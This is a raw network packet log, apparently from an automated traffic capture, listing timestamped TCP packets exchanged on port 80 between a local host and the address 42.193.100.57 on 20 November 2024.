        Nov 20, 2024 09:14:56.498219013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498224020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498225927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498230934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498238087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498244047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498286963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498290062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498306036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498311043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498318911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498332024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498357058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498361111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498378038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498390913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498402119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498403072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498414040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498430014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498466015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.702405930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702428102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702440023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702470064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.702498913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.702507019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702518940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702528954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702569962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.702877045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702888966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702898979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702919006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702929020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.702929974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702941895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702960968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702960968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.702975988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.702991009 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.702995062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703003883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703008890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703031063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703054905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703156948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703167915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703180075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703191042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703198910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703202963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703216076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703219891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703223944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703236103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703243971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703252077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703254938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703259945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703309059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703380108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703392029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703402996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703412056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703423023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703423977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703438044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703448057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703448057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703460932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703471899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703474045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703485966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703491926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703497887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703511953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703538895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703589916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703603029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703619003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703630924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703639030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703643084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703655005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703658104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703669071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703684092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703707933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703713894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703725100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.703752995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.703777075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:57.191952944 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:57.192015886 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:57.204302073 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:57.209532976 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.259481907 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.259499073 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.259514093 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.259525061 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.259537935 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.259569883 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.259613037 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.259623051 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.261132002 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.525998116 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526017904 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526032925 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526053905 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526053905 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.526074886 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.526102066 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.526211023 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526223898 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526235104 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526247978 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.526248932 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526266098 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.526266098 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.526281118 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.526313066 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.527120113 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.527133942 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.527188063 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.527188063 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.803512096 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.803536892 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.803555012 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.803567886 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.803570986 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.803581953 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.803606033 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.803783894 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.803801060 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.803816080 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.803824902 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.803849936 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.803874016 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.803917885 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.804311037 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.804342985 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.804359913 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.804363012 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.804388046 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.804395914 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.804395914 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.804406881 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.804426908 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.804442883 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.805219889 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.805238962 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.805267096 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.805285931 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:58.897026062 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:58.897088051 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.094542027 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.094579935 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.094598055 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.094603062 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.094614029 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.094631910 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.094640017 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.094649076 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.094659090 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.094686985 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.094697952 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.094971895 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.094989061 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.095004082 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.095016003 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.095024109 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.095031977 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.095040083 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.095052004 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.095057964 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.095068932 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.095083952 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.095105886 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.095962048 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.095978975 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.095995903 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.096012115 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.096018076 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.096029043 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.096038103 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.096038103 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.096048117 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.096050978 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.096076012 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.096098900 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.096797943 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.096841097 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.395908117 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.395926952 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.395939112 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396027088 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.396044970 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396064043 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396079063 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396092892 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396132946 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.396173000 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.396234989 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396672010 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396687031 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396697998 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396719933 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396737099 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.396753073 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.396770000 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.396837950 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.396856070 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397053003 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.397732019 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397747993 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397763968 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397777081 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397814035 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.397862911 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.397902966 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397917032 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397933006 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397947073 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.397958994 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.398004055 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.398076057 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.398092985 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.398108006 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.398117065 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.398145914 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.398900032 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.398915052 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.398929119 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.398942947 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.398979902 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.398993015 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.489998102 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.490022898 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.490082979 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.490111113 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.711349964 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711390972 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711429119 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.711456060 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.711528063 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711539984 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711551905 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711582899 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.711618900 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.711623907 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711810112 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711823940 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711850882 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.711877108 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.711963892 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.711977959 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.712012053 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.712332964 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.712511063 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.712522030 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.712533951 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.712544918 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.712557077 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.712557077 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.712568045 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.712603092 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.712975979 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.712987900 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713000059 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713021040 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.713035107 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.713151932 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713164091 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713176012 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713188887 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713216066 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.713237047 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.713325024 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713777065 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713789940 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713800907 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713825941 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.713844061 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.713865995 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713877916 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713890076 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713901997 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713913918 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.713916063 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.713928938 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.713956118 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.715032101 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.715044022 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.715055943 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.715060949 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.715068102 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.715073109 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.715080023 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.715080023 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.715152025 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:59.715265989 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:59.715334892 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.000695944 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.000724077 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.000741959 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.000771046 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.000777960 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.000803947 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.000823975 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.000870943 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.000924110 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.000938892 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.000971079 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.000992060 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.000994921 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.001013041 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.001096010 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.001193047 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.001209974 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.001224995 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.001264095 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.001365900 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.001383066 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.001441956 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.004040956 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.004103899 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.004333019 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.004355907 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.004401922 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.004808903 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.004827023 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.004864931 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.005758047 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.005803108 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.005878925 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.005896091 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.005922079 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.005949974 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006582975 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006603956 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006618023 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006629944 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006632090 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006645918 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006650925 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006661892 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006670952 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006679058 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006692886 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006694078 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006726027 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006726980 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006747007 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006752968 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006769896 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006772995 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006784916 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006793976 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006802082 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006805897 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006818056 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006829977 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006834030 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006844044 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006848097 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006858110 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006877899 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006877899 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006886005 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006907940 CET4970380192.168.2.1142.193.100.57
